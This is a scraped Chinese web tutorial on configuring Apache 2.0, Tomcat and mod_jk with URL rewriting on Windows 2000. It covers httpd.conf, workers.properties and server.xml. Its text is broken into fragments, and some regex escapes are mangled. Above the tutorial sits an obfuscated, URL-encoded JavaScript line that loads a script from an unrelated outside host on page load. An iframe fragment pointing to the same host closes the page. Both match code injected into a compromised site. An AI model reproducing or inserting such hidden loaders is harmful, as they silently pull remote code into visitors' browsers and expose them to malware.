HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
url重写 apache+tomcat window2k 开发配置
Url
重写
windown2k
开发环境配置
apach _ tomcat _ mod_jk
Author
:
Chaiqi@lingtu.com
3/13/2006
第一步 下载导入
将
mod_jk.so
拷贝到
C:/Apache Group/Apache2/modules
中。
注意
mod_jk
和
apach
版本有很大的关系,这里用到的适用于
apache_2.0.52-win32
第二步 修改 Apache Group/Apache2/conf/httpd.conf
这个可是核心操作,一定要操作清楚:
1、
打开
httpd.conf,
加入以下两句
#
注释去掉,必须为打开状态
LoadModule rewrite_module modules/mod_rewrite.so
#
导入
jk_module
,这里一定要为
jk_module
不然无法使用
JkWorkersFile
LoadModule jk_module modules/mod_jk.so
#
配置工作目录
JkWorkersFile conf/workers.properties
2
、修改
模式和
tomcat
取得应用联系
NameVirtualHost *:80
<VirtualHost *:80>
ServerName route.51ditu.com
DocumentRoot E:/51DITU_WorkProgram/LT51DITU_ROUTEBOOK_apach
# .jsp
文件跳转到
api13 tomcat
应用
JkMount /*.jsp ajp13
# routebook
文件夹下的文件跳转到
api13 tomcat
应用
JkMount /routebook/* ajp13
RewriteEngine on
#
这里需要学习一下正则表达式
RewriteRule ^/type_([/d]*)/.html$ /routebook/rbSearch?rbtype=$1&act=rbtype [PT,L]
RewriteRule ^/rb_([/w]*)/.html$ /routebook/userproc?rbid=$1&act=preview [PT,L]
</VirtualHost>
3
、一定要注释相关的
Proxy
模式,这两个无法兼容
#ProxyVia On
#ProxyPass /apis http://localhost:8017/apis
#ProxyPassReverse /apis http://localhost:8017/apis
#ProxyPass /routebook http://localhost:8037/routebook
#ProxyPassReverse /routebook
http://localhost:8037/routebook
第三步 添加修改 workers.properties 文件
workers.properties
所在目录为
/Apache Group/Apache2/conf
内容为:
worker.tomcat151.port=8009
worker.tomcat151.host=127.0.0.1
#
这句话一定要对应上
tomcat
中
tomcat151,
和
httpd.conf
中的
ajp13
worker.tomcat151.type=ajp13
worker.tomcat151.lbfactor=1000
# Define prefered failover node for worker1
worker.tomcat151.redirect=tomcat151
# worker "tomcat151" use up to 1 sockets, which will stay no more than 10mn in cache
worker.tomcat151.cachesize=10
worker.tomcat151.cache_timeout=600
# worker "tomcat151" ask operating system to send KEEP-ALIVE signal on the connection
worker.tomcat151.socket_keepalive=1
worker.tomcat151.socket_timeout=60
# worker "tomcat151" want ajp13 connection to be dropped after 5mn (recycle)
worker.tomcat151.recycle_timeout=300
worker.tomcat151.sticky_session=1
worker.tomcat151.sticky_session_force=0
第四步 tomcat 的server.xml 修改
如果你使用
eclipse
那末他的路径为,一定要保证这个路径是你配置的路书
eclipse
路径:
E:/51DITU_WorkProgram/.metadata/.plugins/org.eclipse.wst.server.core/tmp6/conf/server.xml
在
133
行的地方
修改,可以直接修改
eclipse
的服务器配置。防止
临时文件更新。
#保证它的端口号和
workers.properties
保持一致
worker.tomcat151.port=8009
;
<Connector port="8009" enableLookups="false" redirectPort="8443" debug="0" protocol="AJP/1.3"/>
#tomcat 151
和
workers.properties
中的对应
<Engine name="Standalone" defaultHost="localhost" debug="0" jvmRoute="tomcat151">
第五步 重启服务并测试
重新启动
apach
,如果启动不了,
cmd /
到
apach /bin
目录下面
Apach
看错误信息
重新启动
tomcat
在浏览器中键入
http://route.51ditu.com/routebook/
跳转到
tomcat
中,表示配置成功了。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">